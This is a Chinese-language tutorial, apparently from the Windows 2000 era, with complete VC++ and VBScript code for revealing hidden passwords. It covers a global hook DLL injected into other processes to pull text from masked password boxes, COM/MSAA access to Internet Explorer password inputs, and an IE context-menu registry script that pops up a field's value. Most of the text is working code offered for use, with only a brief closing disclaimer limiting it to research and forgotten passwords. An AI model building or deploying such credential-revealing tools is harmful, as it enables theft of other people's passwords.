本文将讲述如何在win2000下如何编程实现得到应用程序中的密码框中的密码及网页密码框中的密码
记得在win98的时候,只要向一个密码框发一个WM_GETTEXT的消息就可以很容易的得到了其中的密码,微软可能已经意识到了,这一个不安的因素,在win2000/xp中,像以前那样写一个应用程序,向别的程序的密码框简单的发送一个WM_GETTEXT的消息就得到密码了,原因是在进程间数据是相互隔离的,如果参数窗口句柄不属于该进程的调用线程,函数执行就会失败,为了解决这个问题,我们可以用钩子函数实现,钩子函数一般存于动态链接库中,win32会自动把动态链接库映射到它影响的各个进程,在这其间该动态链接库的其它函数也会连带映射到运行的进程之中。这样钩子函数也就会和它的寄主程序窗口融为一体。在这样的一个进程中,由于dll的插入映射使得函数参数窗口句柄hwnd就属于该进程了,而这是win32所允许的。所以写一个dll并将其注入到有密码的进程中,这样就可以dll看成进程的一步分了,再用WM_COPYDATA来进行进程的通信,来将密码显示发送到我们要显示的程序中。
好了理论说完了,开始动手用vc做一个程序了。
先建立一个基于对话框的程序GetPass,其它选项为默认值。
再加入一个edit控件,其ID为IDC_EDIT1用来显示得到的密码信息。
在CGetPassDlg::OnInitDialog()的最后中加入
const CWnd * pWndInsertAfter;
pWndInsertAfter = &wndTopMost;
SetWindowPos(pWndInsertAfter,0,0,0,0,SWP_NOSIZE);//将窗口放于最上层
SetTimer(1,100,NULL);//每隔500毫秒来取得一次密码。
BOOL k=InitHook(this->m_hWnd);//挂接钩子
if(k==FALSE)
AfxMessageBox("false");
重载OnTimer函数,加入如下代码
HWND hwnd;
CPoint MousePos;
GetCursorPos(&MousePos); //取得当前鼠标的坐标
hwnd= ::WindowFromPoint(MousePos);//得到当前坐标的对应窗口的句柄
GetPassText(hwnd, m_hWnd);//调用这个函数来取得密码
得用classwzard为消息WM_COPYDATA加入响函数OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)加入如下代码,来得到dll传来的密码:
SetDlgItemText(IDC_EDIT1, (LPCTSTR)pCopyDataStruct->lpData);
这时编译我们的程序时会有两个错误如下
error C2065: 'InitHook' : undeclared identifier
error C2065: 'GetPassText' : undeclared identifier
这两个函数是我们要在dll中建立。所以我们再新建一个名为Password的project,选择MFC AppWizard(dll),并且Add to Current Workplace
并且选择add to current workspace.其它的按照默认值。
先在Password.cpp的最上面加入变量与宏定义
#define MAX_TEXTLEN 1024
#define UM_GETPASS WM_USER + 0x392
HINSTANCE ghInstance = 0;
#pragma data_seg("ALLDATA")
HHOOK g_hHook = NULL;
HINSTANCE g_hDllIns = NULL;
HWND g_hHostWnd = NULL;
#pragma data_seg()
再改写一下Password.def其代码如下:
LIBRARY "Password"
DESCRIPTION 'Password Windows Dynamic Link Library'
EXPORTS
InitHook @1
ReleaseHook @2
GetPassText @3
SECTIONS
ALLDATA SHARED
//我们手动加入的函数声明与变量
利用classwzard为CPasswordApp加入CPasswordApp::InitInstance()
其中的代码为:
g_hDllIns =AfxGetInstanceHandle();
DisableThreadLibraryCalls(g_hDllIns);
再在Password.cpp中的全局变量CPasswordApp theApp之后加入如下代码:
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
try {
if (code >= 0){
LPMSG pMsg = (LPMSG)lParam;
HWND hShowPassWnd = (HWND)pMsg->lParam;
if (pMsg->message == UM_GETPASS && g_hHostWnd == hShowPassWnd){ //获取*号中的内容
HWND hPassWnd = (HWND)pMsg->wParam; //*号窗口的HWND
if (hPassWnd){
TCHAR szPassText[MAX_TEXTLEN];
ZeroMemory(szPassText, MAX_TEXTLEN);
::SendMessage(hPassWnd, WM_GETTEXT, MAX_TEXTLEN, (LPARAM)szPassText); //获取内容
COPYDATASTRUCT cd;
ZeroMemory(&cd, sizeof(cd));
cd.dwData = (DWORD)hPassWnd;
cd.cbData = strlen(szPassText) + 1;
cd.lpData = szPassText;
SendMessage(hShowPassWnd, WM_COPYDATA, (WPARAM)hPassWnd, (LPARAM)&cd);//发送给ShowPass窗口
}
}
}
}
catch(...){
}
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
BOOL InitHook(HWND hWnd)
{
try {
if (!hWnd){
return FALSE;
}
g_hHostWnd = hWnd;
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hDllIns, 0);
return g_hHook != NULL;
}
catch (...){
return FALSE;
}
}
HWND WINAPI GetParentFromHwnd(HWND hWnd)
{
HWND hParWnd;
try {
do {
hParWnd = GetParent(hWnd);
if (hParWnd){
hWnd = hParWnd;
}
}while (hParWnd);
}
catch (...){
}
return hWnd;
}
void GetPassText(HWND hWndPass, HWND hWndShowPass)
{
try {
HWND hParWnd = GetParentFromHwnd(hWndPass);
::PostMessage(hParWnd, UM_GETPASS, (WPARAM)hWndPass, (LPARAM)hWndShowPass);
}
catch(...){
}
}
//卸载
BOOL ReleaseHook()
{
BOOL bSuccess = FALSE;
try {
if(g_hHook != NULL)
{
bSuccess = UnhookWindowsHookEx(g_hHook) ? TRUE : FALSE;
g_hHook = NULL;
g_hHostWnd = NULL;
}
}
catch (...){
}
return bSuccess;
}
再在Password.h中加入函数导出声明
extern "C" _declspec(dllexport) void GetPassText(HWND hWndPass, HWND hWndShowPass);
extern "C" _declspec(dllexport) BOOL InitHook(HWND hWnd);
extern "C" _declspec(dllexport) BOOL ReleaseHook();
最后编译、链接,把生成的Password.dll,Password.lib拷贝到GetPass工程的目录下,在GetPass工程的GetPassDlg.cpp的最上面加入如下代码
#pragma comment(lib,"Password.lib")
//隐式链接
extern "C" _declspec(dllexport) void GetPassText(HWND hWndPass, HWND hWndShowPass);
extern "C" _declspec(dllexport) BOOL InitHook(HWND hWnd);
extern "C" _declspec(dllexport) BOOL ReleaseHook();
最后运行程序,把鼠标指向应用程序的密码框就可以看到密码了。
但是我们把鼠标指向网页上的密码框时我们无法得到其内容,因为网页密码框不是一般的EDIT控件,因此不能取得网页密码框的句柄.要实现这个功能,只好通过WebBrowser控件的有关COM接口了.因此取得这些接口是整个程序的关键.
在msdn上可以找到在不同的进程中取得IE的Webbrowser控件的IHTMLDocument2接口的方法它的实现机理是向Webbrowser控件(窗口类名是"Internet Explorer_Server")发一个WM_HTML_GETOBJECT,然后把返回值传给Microsoft Active Accessibility (MSAA) 函数ObjectFromLresult,这样你会取得一个已经编排(Marshaling)过的COM接口.如下函数所示:
IHTMLDocument2* GetDocInterface(HWND hWnd)
{
// 我们需要显示地装载OLEACC.DLL,这样我们才知道有没有安装MSAA
HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );
IHTMLDocument2* pDoc2=NULL;
if ( hInst != NULL ){
if ( hWnd != NULL ){
CComPtr<IHTMLDocument> spDoc=NULL;
LRESULT lRes;
/*由于WM_HTML_GETOBJECT非Windows标准消息,所以需要RegisterWindowMessage*/
UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );
::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );
/*取得ObjectFromLresult函数的地址*/
LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") );
if ( pfObjectFromLresult != NULL ){
HRESULT hr;
hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc);
if ( SUCCEEDED(hr) ){
CComPtr<IDispatch> spDisp;
CComQIPtr<IHTMLWindow2> spWin;
spDoc->get_Script( &spDisp );
spWin = spDisp;
spWin->get_document( &pDoc2 );
}
}
}
::FreeLibrary(hInst);
}
else{//如果没有安装MSAA
AfxMessageBox(_T("请您安装Microsoft Active Accessibility"));
}
return pDoc2;
}
请注意.如果程序在Windows95,98和NT 4.0 Service With Pack 4 or 5下运行必须要把Microsoft Active Accessibility (MSAA)运行时组件(RDK)与程序一起发布(Windows2000及Windows NT 4.0 Service With Pack 6中已经有了,所以不用)..3.使用这种方法前要调用CoInitialize(NULL);然后应该相应地调用CoUninitialize(); 所以我们先在CGetPassDlg::OnInitDialog()的最后加入CoInitialize(NULL);再重载WM_DESTROY消息,在其对应函数void CGetPassDlg::OnDestroy()中加入如下代码:
CoUninitialize();//卸载com组件
KillTimer(1); //卸载时钟
这样,我们就取得了IHTMLDocument2*接口了,要取得密码框的密码还得一番周折,现在改写我们刚才的GetPass工程的void CGetPassDlg::OnTimer(UINT nIDEvent)函数,其改写后的内容如下:
HWND hwnd;
CPoint MousePos;
GetCursorPos(&MousePos); //取得当前鼠标的坐标
static TCHAR buf[100];
hwnd= ::WindowFromPoint(MousePos);//得到当前坐标的对应窗口的句柄
if(hwnd!=NULL){
::GetClassName( hwnd, (LPTSTR)&buf, 100 );
if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 )
//如果是ie则用别的方法
{
POINT iept=MousePos;
::ScreenToClient(hwnd,&iept);
GetPassword(GetDocInterface(hwnd),iept);
}
else //如果是其它窗口则用原来的方法来取得密码
GetPassText(hwnd, m_hWnd);
}
CDialog::OnTimer(nIDEvent);
再在CgetPassDlg类中加入两个成员函数
void CGetPassDlg::GetPassword(IHTMLDocument2 *pDoc2, POINT pt)
IHTMLDocument2* CGetPassDlg::GetDocInterface(HWND hWnd)
IHTMLDocument2* CGetPassDlg::GetDocInterface(HWND hWnd)函数的代码如前所述
void CGetPassDlg::GetPassword(IHTMLDocument2 *pDoc2, POINT pt)的代码如下:
if(pDoc2==NULL)return;
CComPtr<IHTMLElement> pElement;
HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);
if(pElement==NULL)return;
if(SUCCEEDED(hr)){
CComPtr<IHTMLInputTextElement> pPwdElement;
hr=pElement->QueryInterface(IID_IHTMLInputTextElement,
(void**)&pPwdElement);
if(SUCCEEDED(hr)){
CComBSTR type;
hr=pPwdElement->get_type(&type);
if(SUCCEEDED(hr)){
if(type==_T("password")){
CComBSTR pwd;
hr=pPwdElement->get_value(&pwd);
if(SUCCEEDED(hr)){
if(pwd.Length()!=0){
CComBSTR msg=_T("");
msg+=pwd;
CString str(msg);
SetDlgItemText(IDC_EDIT1, str);
UpdateData(false);
}
else{
SetDlgItemText(IDC_EDIT1, "密码为空");
UpdateData(false);
}
}
}
}
}
}
pDoc2->Release();
最后在stdafx.h中加入所用的头文件
#include <atlbase.h>
#include <oleacc.h>
#include <winuser.h>
#include <mshtml.h>
这样再编译链接我们的程序,把鼠标指向网页的密码框时就可以得到密码了。其实得到网页的密码的方法还有一种更简单的方法:
使用脚本语言和IE右键菜单:
我们可以使用注册表来控制IE右键菜单.当你装了FlashGet(网际快车)时,你会发现IE右键菜单多了两项:"使用网际快车下载"和"使用网际快车下载全部链接",而这时你打开注册表,在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\下有这两个主键.这两个主键下都有两个值,一个是默认的串值,指定了选择了这个菜单命令要打开的URL,IE在一个隐藏的窗口打开它,并这个隐藏窗口的external.menuArguments值设为当前窗口对象,执行完URL对话网页包含的脚本程序该窗口自动关闭.另一个名称是contexts是DWORD值,指定了在什么情况下需要显示这个菜单项.具体的值见下.
(0x1 << CONTEXT_MENU_DEFAULT) (等于 0x1) //缺省时显示
(0x1 << CONTEXT_MENU_IMAGE) (等于 0x2) //右键点击图像时显示该项
(0x1 << CONTEXT_MENU_CONTROL) (等于 0x4) //右键点击表单元素时显示该项
(0x1 << CONTEXT_MENU_TABLE) (等于 0x8) //右键点击表格时显示该项
(0x1 << CONTEXT_MENU_TEXTSELECT) (等于 0x10) //右键点击高亮选择的文本时显示该项
(0x1 << CONTEXT_MENU_ANCHOR) (等于 0x20) //右键点击链接时显示该项
(0x1 << CONTEXT_MENU_UNKNOWN) (等于 0x40)//右键点击网页中除上以外的地方显示该项
现在我们写一段脚本程序以获取密码框的值.
<!--getpassword.htm->
<script language="VBScript">
Sub GetPassword()
set srcEvent = external.menuArguments.event
Set doc=external.menuArguments.document
set ele=doc.elementFromPoint( srcEvent.clientX, srcEvent.clientY )
if ele.type ="password" then
if ele.value="" then
Alert("密码为空")
else
Alert("密码为:"+ele.value)
end if
end if
end sub
call GetPassword()
</script>
将上述脚本存为getpassword.htm放于C盘根目录下,然后在注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\下新建一下主键,键名为"取得密码",缺省值设为该htm文件的路径c:\getpassword.htm,在该主键下另增一个DWORD值,值为4,表示只在右击表单元素时显示该项.关闭注册表,重新启动IE窗口,点击一下密码框,就会出现该项,点击该项,弹出一个对话框,告诉你的密码了.呵呵其实条条大路通罗马的,只要你仔细的研究。本文只可用于研究,和忘记密码时来用,切不可作为它用,以免误入其途。